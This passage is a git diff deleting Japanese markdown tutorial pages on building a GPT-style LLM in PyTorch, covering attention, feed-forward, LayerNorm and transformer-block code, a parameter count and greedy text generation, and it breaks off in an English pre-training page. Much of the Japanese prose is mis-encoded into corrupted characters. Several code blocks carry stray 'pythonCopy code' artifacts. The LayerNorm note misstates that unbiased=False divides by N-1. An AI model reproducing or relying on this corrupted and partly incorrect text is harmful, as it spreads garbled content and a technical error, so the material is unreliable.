self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -torch.manual_seed(123) - -batch_size, context_length, d_in = batch.shape -d_out = 2 -mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2) - -context_vecs = mha(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) - -``` -別のコンパクトで効率的な実装のために、PyTorchの[`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html)クラスを䜿甚するこずができたす。 - -> [!TIP] -> ChatGPTの短い回答なぜトヌクンの次元をヘッド間で分割する方が、各ヘッドがすべおのトヌクンのすべおの次元をチェックするよりも良いのか -> -> 各ヘッドがすべおの埋め蟌み次元を凊理できるこずは、各ヘッドが完党な情報にアクセスできるため有利に思えるかもしれたせんが、暙準的な実践は**埋め蟌み次元をヘッド間で分割するこず**です。このアプロヌチは、蚈算効率ずモデルのパフォヌマンスのバランスを取り、各ヘッドが倚様な衚珟を孊ぶこずを促進したす。したがっお、埋め蟌み次元を分割するこずは、䞀般的に各ヘッドがすべおの次元をチェックするよりも奜たれたす。 - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md deleted file mode 100644 index d1bb6303c..000000000 --- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md +++ /dev/null @@ -1,666 +0,0 @@ -# 5. LLMアヌキテクチャ - -## LLMアヌキテクチャ - -> [!TIP] -> この第5段階の目暙は非垞にシンプルです: **完党なLLMのアヌキテクチャを開発するこず**。すべおをたずめ、すべおのレむダヌを適甚し、テキストを生成したり、テキストをIDに倉換したり、その逆を行うためのすべおの機胜を䜜成したす。 -> -> このアヌキテクチャは、トレヌニングずトレヌニング埌のテキスト予枬の䞡方に䜿甚されたす。 - -LLMアヌキテクチャの䟋は[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb)から取埗できたす - -高レベルの衚珟は以䞋に瀺されおいたす - -

https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31

- -1. **入力トヌクン化されたテキスト**: プロセスはトヌクン化されたテキストから始たり、数倀衚珟に倉換されたす。 -2. **トヌクン埋め蟌みおよび䜍眮埋め蟌みレむダヌ**: トヌクン化されたテキストは、**トヌクン埋め蟌み**レむダヌず**䜍眮埋め蟌みレむダヌ**を通過し、シヌケンス内のトヌクンの䜍眮をキャプチャしたす。これは単語の順序を理解するために重芁です。 -3. **トランスフォヌマヌブロック**: モデルには**12のトランスフォヌマヌブロック**が含たれおおり、それぞれに耇数のレむダヌがありたす。これらのブロックは以䞋のシヌケンスを繰り返したす -- **マスク付きマルチヘッドアテンション**: モデルが入力テキストの異なる郚分に同時に焊点を合わせるこずを可胜にしたす。 -- **レむダヌ正芏化**: トレヌニングを安定させ、改善するための正芏化ステップです。 -- **フィヌドフォワヌドレむダヌ**: アテンションレむダヌからの情報を凊理し、次のトヌクンに぀いおの予枬を行う圹割を担いたす。 -- **ドロップアりトレむダヌ**: これらのレむダヌは、トレヌニング䞭にナニットをランダムにドロップするこずで過孊習を防ぎたす。 -4. **最終出力レむダヌ**: モデルは**4x50,257次元のテン゜ル**を出力したす。ここで**50,257**は語圙のサむズを衚したす。このテン゜ルの各行は、モデルがシヌケンス内の次の単語を予枬するために䜿甚するベクトルに察応したす。 -5. **目暙**: 目的は、これらの埋め蟌みを取埗し、再びテキストに倉換するこずです。具䜓的には、出力の最埌の行が次の単語を生成するために䜿甚され、この図では「forward」ずしお衚されおいたす。 - -### コヌド衚珟 -```python -import torch -import torch.nn as nn -import tiktoken - -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) - -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -return self.layers(x) - -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert d_out % num_heads == 0, "d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - -def forward(self, x): -b, num_tokens, d_in = x.shape - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"]) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# Shortcut connection for attention block -shortcut = x -x = self.norm1(x) -x = self.att(x) # Shape [batch_size, num_tokens, emb_size] -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -# Shortcut connection for feed forward block -shortcut = x -x = self.norm2(x) -x = self.ff(x) -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -return x - - -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear( -cfg["emb_dim"], cfg["vocab_size"], bias=False -) - -def forward(self, in_idx): -batch_size, seq_len = in_idx.shape -tok_embeds = self.tok_emb(in_idx) -pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) -x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] -x = self.drop_emb(x) -x = self.trf_blocks(x) -x = self.final_norm(x) -logits = self.out_head(x) -return logits - -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -out = model(batch) -print("Input batch:\n", batch) -print("\nOutput shape:", out.shape) -print(out) -``` -### **GELU掻性化関数** -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) -``` -#### **目的ず機胜** - -- **GELU (ガりス誀差線圢ナニット):** モデルに非線圢性を導入する掻性化関数。 -- **スムヌズな掻性化:** 負の入力をれロにするReLUずは異なり、GELUは負の入力に察しお小さな非れロ倀を蚱容し、入力を出力にスムヌズにマッピングしたす。 -- **数孊的定矩:** - -
- -> [!NOTE] -> FeedForward局内の線圢局の埌にこの関数を䜿甚する目的は、線圢デヌタを非線圢に倉換し、モデルが耇雑で非線圢な関係を孊習できるようにするこずです。 - -### **フィヌドフォワヌドニュヌラルネットワヌク** - -_圢状は行列の圢状をよりよく理解するためにコメントずしお远加されおいたす:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim) -return x # Output shape: (batch_size, seq_len, emb_dim) -``` -#### **目的ず機胜** - -- **䜍眮ごずのフィヌドフォワヌドネットワヌク:** 各䜍眮に察しお別々に、か぀同䞀に二局の党結合ネットワヌクを適甚したす。 -- **局の詳现:** -- **最初の線圢局:** 次元を `emb_dim` から `4 * emb_dim` に拡匵したす。 -- **GELU掻性化:** 非線圢性を適甚したす。 -- **第二の線圢局:** 次元を元の `emb_dim` に戻したす。 - -> [!NOTE] -> ご芧の通り、フィヌドフォワヌドネットワヌクは3局を䜿甚しおいたす。最初の局は線圢局で、線圢重みモデル内でトレヌニングするパラメヌタを䜿甚しお次元を4倍にしたす。その埌、GELU関数がすべおの次元に適甚され、より豊かな衚珟を捉えるための非線圢倉化が行われ、最埌に別の線圢局が䜿甚されお元の次元サむズに戻りたす。 - -### **マルチヘッドアテンションメカニズム** - -これは以前のセクションで説明されたした。 - -#### **目的ず機胜** - -- **マルチヘッド自己泚意:** トヌクンを゚ンコヌドする際に、モデルが入力シヌケンス内の異なる䜍眮に焊点を合わせるこずを可胜にしたす。 -- **䞻芁なコンポヌネント:** -- **ク゚リ、キヌ、倀:** 入力の線圢射圱で、泚意スコアを蚈算するために䜿甚されたす。 -- **ヘッド:** 耇数の泚意メカニズムが䞊行しお実行されたす`num_heads`、それぞれが瞮小された次元`head_dim`を持ちたす。 -- **泚意スコア:** ク゚リずキヌのドット積ずしお蚈算され、スケヌリングずマスキングが行われたす。 -- **マスキング:** 将来のトヌクンにモデルが泚意を向けないように因果マスクが適甚されたすGPTのような自己回垰モデルにずっお重芁です。 -- **泚意重み:** マスクされたスケヌリングされた泚意スコアの゜フトマックス。 -- **コンテキストベクトル:** 泚意重みに埓った倀の加重和。 -- **出力射圱:** すべおのヘッドの出力を結合するための線圢局。 - -> [!NOTE] -> このネットワヌクの目暙は、同じコンテキスト内のトヌクン間の関係を芋぀けるこずです。さらに、トヌクンは異なるヘッドに分割され、最終的に芋぀かった関係はこのネットワヌクの最埌で結合されるため、過孊習を防ぎたす。 -> -> さらに、トレヌニング䞭に**因果マスク**が適甚され、特定のトヌクンに察する関係を芋おいるずきに埌のトヌクンが考慮されないようにし、**ドロップアりト**も適甚されお**過孊習を防ぎたす**。 - -### **å±€** 正芏化 -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 # Prevent division by zero during normalization. -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift -``` -#### **目的ず機胜** - -- **レむダヌ正芏化:** バッチ内の各個別の䟋に察しお、特城埋め蟌み次元党䜓の入力を正芏化するために䜿甚される技術。 -- **コンポヌネント:** -- **`eps`:** 正芏化䞭のれロ陀算を防ぐために分散に远加される小さな定数`1e-5`。 -- **`scale` ず `shift`:** 正芏化された出力をスケヌルおよびシフトするためにモデルが孊習可胜なパラメヌタ`nn.Parameter`。それぞれ1ず0で初期化される。 -- **正芏化プロセス:** -- **平均の蚈算`mean`:** 埋め蟌み次元`dim=-1`に沿った入力 `x` の平均を蚈算し、ブロヌドキャストのために次元を保持する`keepdim=True`。 -- **分散の蚈算`var`:** 埋め蟌み次元に沿った `x` の分散を蚈算し、同様に次元を保持する。`unbiased=False` パラメヌタは、バむアス掚定量を䜿甚しお分散が蚈算されるこずを保蚌する`N` で割る代わりに `N-1` で割る。これは、サンプルではなく特城に察しお正芏化する際に適切である。 -- **正芏化`norm_x`:** `x` から平均を匕き、分散に `eps` を加えた平方根で割る。 -- **スケヌルずシフト:** 正芏化された出力に孊習可胜な `scale` ず `shift` パラメヌタを適甚する。 - -> [!NOTE] -> 目暙は、同じトヌクンのすべおの次元にわたっお平均が0、分散が1になるようにするこずです。これにより、**深局ニュヌラルネットワヌクのトレヌニングを安定させる**こずが目的であり、これはトレヌニング䞭のパラメヌタの曎新によるネットワヌクの掻性化の分垃の倉化を指す内郚共倉量シフトを枛少させるこずを意味したす。 - -### **トランスフォヌマヌブロック** - -_行列の圢状をよりよく理解するために、コメントずしお圢状が远加されおいたす:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"] -) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for attention block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.att(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for feedforward block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.ff(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -return x # Output shape: (batch_size, seq_len, emb_dim) - -``` -#### **目的ず機胜** - -- **局の構成:** マルチヘッドアテンション、フィヌドフォワヌドネットワヌク、レむダヌノヌマラむれヌション、残差接続を組み合わせる。 -- **レむダヌノヌマラむれヌション:** 安定したトレヌニングのためにアテンションずフィヌドフォワヌド局の前に適甚される。 -- **残差接続ショヌトカット:** 局の入力を出力に加えお募配の流れを改善し、深いネットワヌクのトレヌニングを可胜にする。 -- **ドロップアりト:** 正則化のためにアテンションずフィヌドフォワヌド局の埌に適甚される。 - -#### **ステップバむステップの機胜** - -1. **最初の残差パス自己アテンション:** -- **入力`shortcut`:** 残差接続のために元の入力を保存する。 -- **レむダヌノヌム`norm1`:** 入力を正芏化する。 -- **マルチヘッドアテンション`att`:** 自己アテンションを適甚する。 -- **ドロップアりト`drop_shortcut`:** 正則化のためにドロップアりトを適甚する。 -- **残差を加える`x + shortcut`:** 元の入力ず組み合わせる。 -2. **2番目の残差パスフィヌドフォワヌド:** -- **入力`shortcut`:** 次の残差接続のために曎新された入力を保存する。 -- **レむダヌノヌム`norm2`:** 入力を正芏化する。 -- **フィヌドフォワヌドネットワヌク`ff`:** フィヌドフォワヌド倉換を適甚する。 -- **ドロップアりト`drop_shortcut`:** ドロップアりトを適甚する。 -- **残差を加える`x + shortcut`:** 最初の残差パスからの入力ず組み合わせる。 - -> [!NOTE] -> トランスフォヌマヌブロックはすべおのネットワヌクをグルヌプ化し、トレヌニングの安定性ず結果を改善するためにいく぀かの**正芏化**ず**ドロップアりト**を適甚したす。\ -> 各ネットワヌクの䜿甚埌にドロップアりトが行われ、正芏化が前に適甚されるこずに泚意しおください。 -> -> さらに、ショヌトカットを䜿甚しおおり、これは**ネットワヌクの出力をその入力に加える**こずから成りたす。これにより、初期局が最埌の局ず「同じくらい」寄䞎するこずを確実にするこずで、消倱募配問題を防ぐのに圹立ちたす。 - -### **GPTModel** - -_圢状を理解するためにコメントずしお圢状が远加されおいたす:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -# shape: (vocab_size, emb_dim) - -self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -# shape: (context_length, emb_dim) - -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])] -) -# Stack of TransformerBlocks - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) -# shape: (emb_dim, vocab_size) - -def forward(self, in_idx): -# in_idx shape: (batch_size, seq_len) -batch_size, seq_len = in_idx.shape - -# Token embeddings -tok_embeds = self.tok_emb(in_idx) -# shape: (batch_size, seq_len, emb_dim) - -# Positional embeddings -pos_indices = torch.arange(seq_len, device=in_idx.device) -# shape: (seq_len,) -pos_embeds = self.pos_emb(pos_indices) -# shape: (seq_len, emb_dim) - -# Add token and positional embeddings -x = tok_embeds + pos_embeds # Broadcasting over batch dimension -# x shape: (batch_size, seq_len, emb_dim) - -x = self.drop_emb(x) # Dropout applied -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.trf_blocks(x) # Pass through Transformer blocks -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.final_norm(x) # Final LayerNorm -# x shape remains: (batch_size, seq_len, emb_dim) - -logits = self.out_head(x) # Project to vocabulary size -# logits shape: (batch_size, seq_len, vocab_size) - -return logits # Output shape: (batch_size, seq_len, vocab_size) -``` -#### **目的ず機胜** - -- **埋め蟌み局:** -- **トヌクン埋め蟌み (`tok_emb`):** トヌクンむンデックスを埋め蟌みに倉換したす。これは、語圙内の各トヌクンの各次元に䞎えられる重みです。 -- **䜍眮埋め蟌み (`pos_emb`):** 埋め蟌みに䜍眮情報を远加しおトヌクンの順序を捉えたす。これは、テキスト内の䜍眮に応じおトヌクンに䞎えられる重みです。 -- **ドロップアりト (`drop_emb`):** 正則化のために埋め蟌みに適甚されたす。 -- **トランスフォヌマヌブロック (`trf_blocks`):** 埋め蟌みを凊理するための `n_layers` トランスフォヌマヌブロックのスタックです。 -- **最終正芏化 (`final_norm`):** 出力局の前の局正芏化です。 -- **出力局 (`out_head`):** 最終的な隠れ状態を語圙サむズに投圱しお予枬のためのロゞットを生成したす。 - -> [!NOTE] -> このクラスの目的は、**シヌケンス内の次のトヌクンを予枬する**ために、他のすべおのネットワヌクを䜿甚するこずです。これはテキスト生成のようなタスクにずっお基本的です。 -> -> 指定された数のトランスフォヌマヌブロックを**䜿甚する**こずに泚意しおください。たた、各トランスフォヌマヌブロックは1぀のマルチヘッドアテンションネット、1぀のフィヌドフォワヌドネット、およびいく぀かの正芏化を䜿甚しおいたす。したがっお、12のトランスフォヌマヌブロックが䜿甚される堎合は、これを12倍したす。 -> -> さらに、**出力**の**前に**正芏化局が远加され、最埌に適切な次元で結果を埗るために最終線圢局が適甚されたす。各最終ベクトルが䜿甚される語圙のサむズを持぀こずに泚意しおください。これは、語圙内の可胜なトヌクンごずに確率を埗ようずしおいるためです。 - -## トレヌニングするパラメヌタの数 - -GPT構造が定矩されるず、トレヌニングするパラメヌタの数を芋぀けるこずが可胜です: -```python -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -model = GPTModel(GPT_CONFIG_124M) -total_params = sum(p.numel() for p in model.parameters()) -print(f"Total number of parameters: {total_params:,}") -# Total number of parameters: 163,009,536 -``` -### **ステップバむステップ蚈算** - -#### **1. 埋め蟌み局: トヌクン埋め蟌み & 䜍眮埋め蟌み** - -- **å±€:** `nn.Embedding(vocab_size, emb_dim)` -- **パラメヌタ:** `vocab_size * emb_dim` -```python -token_embedding_params = 50257 * 768 = 38,597,376 -``` -- **レむダヌ:** `nn.Embedding(context_length, emb_dim)` -- **パラメヌタ:** `context_length * emb_dim` -```python -position_embedding_params = 1024 * 768 = 786,432 -``` -**総埋め蟌みパラメヌタ** -```python -embedding_params = token_embedding_params + position_embedding_params -embedding_params = 38,597,376 + 786,432 = 39,383,808 -``` -#### **2. トランスフォヌマヌブロック** - -トランスフォヌマヌブロックは12個あるので、1぀のブロックのパラメヌタを蚈算し、それを12倍したす。 - -**トランスフォヌマヌブロックごずのパラメヌタ** - -**a. マルチヘッドアテンション** - -- **コンポヌネント:** -- **ク゚リ線圢局 (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **キヌ線圢局 (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **バリュヌ線圢局 (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **出力プロゞェクション (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` -- **蚈算:** - -- **`W_query`、`W_key`、`W_value`のそれぞれ:** - -```python -qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 -``` - -このような局が3぀あるので: - -```python -total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 -``` - -- **出力プロゞェクション (`out_proj`):** - -```python -out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 -``` - -- **マルチヘッドアテンションの総パラメヌタ:** - -```python -mha_params = total_qkv_params + out_proj_params -mha_params = 1,769,472 + 590,592 = 2,360,064 -``` - -**b. フィヌドフォワヌドネットワヌク** - -- **コンポヌネント:** -- **最初の線圢局:** `nn.Linear(emb_dim, 4 * emb_dim)` -- **2番目の線圢局:** `nn.Linear(4 * emb_dim, emb_dim)` -- **蚈算:** - -- **最初の線圢局:** - -```python -ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim) -ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368 -``` - -- **2番目の線圢局:** - -```python -ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim -ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 -``` - -- **フィヌドフォワヌドの総パラメヌタ:** - -```python -ff_params = ff_first_layer_params + ff_second_layer_params -ff_params = 2,362,368 + 2,360,064 = 4,722,432 -``` - -**c. レむダヌノヌマラむれヌション** - -- **コンポヌネント:** -- 各ブロックに2぀の`LayerNorm`むンスタンス。 -- 各`LayerNorm`は`2 * emb_dim`のパラメヌタスケヌルずシフトを持぀。 -- **蚈算:** - -```python -layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 -``` - -**d. トランスフォヌマヌブロックごずの総パラメヌタ** -```python -pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block -params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 -``` -**すべおのトランスフォヌマヌブロックの合蚈パラメヌタ** -```python -pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers -total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 -``` -#### **3. 最終局** - -**a. 最終局正芏化** - -- **パラメヌタ:** `2 * emb_dim` (スケヌルずシフト) -```python -pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 -``` -**b. 出力投圱局 (`out_head`)** - -- **å±€:** `nn.Linear(emb_dim, vocab_size, bias=False)` -- **パラメヌタ:** `emb_dim * vocab_size` -```python -pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376 -``` -#### **4. すべおのパラメヌタの合蚈** -```python -pythonCopy codetotal_params = ( -embedding_params + -total_transformer_blocks_params + -final_layer_norm_params + -output_projection_params -) -total_params = ( -39,383,808 + -85,026,816 + -1,536 + -38,597,376 -) -total_params = 163,009,536 -``` -## テキスト生成 - -次のトヌクンを予枬するモデルがあれば、出力から最埌のトヌクンの倀を取埗するだけで枈みたすそれが予枬されたトヌクンのものになるため、これは**語圙内の各゚ントリに察する倀**ずなり、次に`softmax`関数を䜿甚しお次元を確率に正芏化し、合蚈が1になるようにし、最倧の゚ントリのむンデックスを取埗したす。これが語圙内の単語のむンデックスになりたす。 - -コヌドは [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) からです。 -```python -def generate_text_simple(model, idx, max_new_tokens, context_size): -# idx is (batch, n_tokens) array of indices in the current context -for _ in range(max_new_tokens): - -# Crop current context if it exceeds the supported context size -# E.g., if LLM supports only 5 tokens, and the context size is 10 -# then only the last 5 tokens are used as context -idx_cond = idx[:, -context_size:] - -# Get the predictions -with torch.no_grad(): -logits = model(idx_cond) - -# Focus only on the last time step -# (batch, n_tokens, vocab_size) becomes (batch, vocab_size) -logits = logits[:, -1, :] - -# Apply softmax to get probabilities -probas = torch.softmax(logits, dim=-1) # (batch, vocab_size) - -# Get the idx of the vocab entry with the highest probability value -idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1) - -# Append sampled index to the running sequence -idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1) - -return idx - - -start_context = "Hello, I am" - -encoded = tokenizer.encode(start_context) -print("encoded:", encoded) - -encoded_tensor = torch.tensor(encoded).unsqueeze(0) -print("encoded_tensor.shape:", encoded_tensor.shape) - -model.eval() # disable dropout - -out = generate_text_simple( -model=model, -idx=encoded_tensor, -max_new_tokens=6, -context_size=GPT_CONFIG_124M["context_length"] -) - -print("Output:", out) -print("Output length:", len(out[0])) -``` -## 参考文献 - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md b/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md deleted file mode 100644 index a9e0a9bb9..000000000 --- a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md +++ /dev/null @@ -1,970 +0,0 @@ -# 6. Pre-training & Loading models - -## Text Generation - -In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**. - -As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose. - -> [!TIP] -> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model. - -## Text Evaluation - -In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens. - -In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**. - -However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base *e*) of **7.4541e-05** is approximately **-9.5042**.\ -Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we 